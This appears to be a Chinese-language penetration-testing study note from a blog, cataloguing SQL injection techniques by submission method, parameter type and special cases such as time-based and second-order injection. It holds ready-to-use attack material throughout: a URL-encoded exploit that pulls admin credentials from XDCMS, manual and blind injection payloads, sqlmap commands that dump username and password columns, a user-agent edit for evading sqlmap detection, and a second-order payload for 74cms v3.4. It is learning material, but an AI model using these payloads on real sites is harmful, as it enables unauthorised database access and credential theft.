• 渗透测试学习 十一、 其他注入漏洞汇总


    大纲:提交方式注入  参数型注入  其他注入

    提交方式注入

      常见的提交方式:

      GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制。xx.com/x.php?id=1

      POST:一般在登录页面,参数在数据包中,不在URL中传输,相对比较安全

      COOKIE:本地登录凭证

      HEAD:头部信息

      PUT  OPTION  

      服务器端接收数据的方式:

      GET  只接受get型的传参

      POST  只接受post型的传参

      REQUEST  get,post,cookie方式都接受

      GET注入

        get注入比较常见

        e.g  www.xx.com/news.php?id=11

        检测:加个 / 报错  -0 正常 --->存在注入

        加 '  SQL语句显错注入  或   %bf'  宽字节绕过

      POST注入

        post提交方式主要适用于表单的提交,注册用户,登录账号,留言,修改账号,修改个人资料,上传文件,搜索框

        用于登录框的注入

        e.g  www.xxx.com/admin.php

        可以在用户注册的时候,在用户名后面加上 ' 会报错,存在注入,将bp抓的包存储成txt文件,用sqlmap跑包,如果在注册的时候,网页对 ' 过滤,可以在bp抓包,将username的后面加上5bf,绕过过滤

        工具:穿山甲、sqlmap

      XDCMS全版本存在SQL注入漏洞

      需要使用代理抓包改包完成

      sql exp

       %60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

      将这段exp放在5D%的前面(测表单的名称)

      COOKIE注入

        cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

        sqlmap.py -u "" --cookie "id=30" --level 2

        前提:服务器接收cookie型的传参

        如果是get型的传参方式,再试试post型的传参,如果能传递成功,说明cookie也是可以的。

        也可以bp抓包,修改cookie.......;id=30

        再用sqlmap跑包

    参数型注入

      数字类型注入  字符类型注入  搜索类型注入  

      数字型注入

        www.xxx.com/news.asp?id=1

        select *from news where id=11

        www.xxx.com/news.asp?id=11 and 1=1

        select * from news where id=11 and 1=1

      字符型注入

        www.xx.com/news.asp?id=你好' and 1=1 #

        select * from news where id="你好' and 1=1 #'

        www.xx.com/news.asp?id=你好' and 1=1'

        select * from news where id='你好' and 1=1'

      搜索型修注入

        like 像

        通配符 *

        SQL通配符%%

        select * from news where id="'%like $id%"

        http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7

        参数:keyword=123

        '%%' and 1=2 and '%'='%'

        可以直接bp抓包,存为txt,用sqlmap跑包

        网站是通过useragent:sql.org检测sqlmap攻击的

        绕过方法,在安装路径下,lib文件夹中,core文件中的option.py文件的地1425行左右,改为百度的爬行蜘蛛

        return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"

        手工注入:

        2%'and(select count(*)from mssysaccessobjects)>0 and '%'='  //返回正常,access数据库

        2%'and(select count(*)from admin_user)>0 and '%'='  //返回正常,存在admin_user表

        2%'and(select count(username)from admin_user)>0 and '%'='  //返回正常,存在username字段

        2%'and(select count(password)from admin_user)>0 and '%'='  //返回正常,存在password字段

        2%'and(select top 1 len(admin)from admin_user)>4 and '%'='  //返回正常,username长度大于4

        用sqlmap

        先抓包,保存为txt    

        sqlmap.py -r 1.txt --tables  表名

        sqlmap.py -r 1.txt --columns -T "admin"  列名

        sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2  内容

    其他注入

      伪静态注入  延迟注入  base64注入  二阶注入  

      phpv9 authkey注入  http头注入  XML实体注入  APP注入挖掘

      伪静态注入

        例如:  

        http://xx.com.cn/

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html

        检测方法:

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131  返回正常

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html  报错

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html  报错

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html  报错

        在用sqlmap跑的时候sqlmap检测不不到注入点时,如下

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html

        通常存在于aspcms、phpweb、thinkphp等框架网站

        自己伪造伪静态

        例如:

        xx.com/x_deitl_id_123.html

        对比如下:

        xx.com/x/deitl.php?id=123

      延迟注入

        是一种条件判断,通过时间判断,仅仅是判断,无法上传shell

        延迟注入是通过也免得返回时间长度来判断的,不同的MySQL数据库版本,延迟注入的语句不一样

        MySQL>=5.0的可以用sleep()进行查询

        MySQL<5.0的可以用benchmark()进行查询

        benchmark用法:

        benchmark(n,sql语句)  n为查询次数

        通过查询洗漱的增多,时间变得缓慢来判断是否存在注入

        select benchmark(1000.select * from admin);

        sleep()延迟注入用法

        sleep可以强制产生一个固定的延迟

        sleep()延迟注入的核心原理

          and if(true,sleep(5),0)==IF(1=1,true,false);

        ?id=1 and sleep(5)  判断是否存在延迟注入

        and if(substring(user(),1,4)='root',sleep(5),1)  判断当前用户

        and if(MID(version(),1,1) LIKE 5, sleep(5),1)  判断数据库版本信息是否为5,可以猜解他的数据库名称

        and if(ascii(substring(database(),1,4))>100,sleep(4),1)

        sqlmap.py --time-sec=2  延迟注入

      base64编码注入

        解码

        构造语句

        编码

        $id=base64_decode($id);

        用插件  --tamper=base64encode.py

      二阶注入

      (一般是在白盒测试中进行,需要代码审计)

      sql注入一般分为两种,一阶注入(普通的sql注入)和二阶注入

      一阶注入是发生在一个HTTP请求和响应中,系统堆攻击数据立即反应执行

      一阶注入的攻击过程归纳如下:

        1、攻击者在http请求中提交恶意的sql语句

        2、应用处理恶意的输入,使用恶意的输入动态构建SQL语句

        3、如果攻击实现,在响应中向攻击者返回结果

      二阶注入,作为SQL注入的一种,不同于普通的SQL注入,恶意代码被注入到web应用中不会立即执行,而是存储在后端数据库中,在处理另一个不同的请求时,应用检索到数据库中的恶意输入并利用他动态构建SQL语句,实现攻击。

      二阶注入攻击过程归纳如下:

        1、攻击者在一个HTTP请求中提交恶意输入

        2、用于将恶意输入保存在数据库中

        3、攻击者提交第二个HTTP请求

        4、为处理第二个HTTP请求,应用检索存储在数据库中的恶意输入,动态构建SQL语句

        5、如果攻击实现,在第二个请求的响应中就会返回结果

      一般攻击利用是两种方式

        攻击存储  注入攻击

      74cms人才系统v3.4简历填写中存在注入  aa','fullname'=user()#

    实现过程如下:

    在网站上搜74cms v3.4的源码,直接放在PHPstudy的www路径下,地址栏中输入127.0.0.1回车,做一番数据库配置就好了

    点击填写简历

    先注册一个账户

    然后创建简历,前面的信息都可以随便填,只要符合格式就好

    需要注意的下面一步,这一步中学校名称里面存在二阶注入漏洞,输入我们的测试语句 aa',`fullname`=user()# ,保存提交

    此时信息录制成功

     此时我们点击预览简历,就可以发现已经将查询结果返回了

     

     

     2019-05-05  20:17:46

  • 相关阅读:
    1104--DNA排序
    poj1050-To the Max
    编译:一个 C 程序的艺术之旅(转载)
    大话同步/异步、阻塞/非阻塞(转载)
    Windows 在 git bash下使用 conda 命令
    Python Multiprocessing 多进程,使用多核CPU计算 并使用tqdm显示进度条
    Python 写入训练日志文件并控制台输出
    nn.Conv2d 参数及输入输出详解
    Python中 list, numpy.array, torch.Tensor 格式相互转化
    Linux 上传代码到github
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/10815490.html
Copyright © 2020-2023  润新知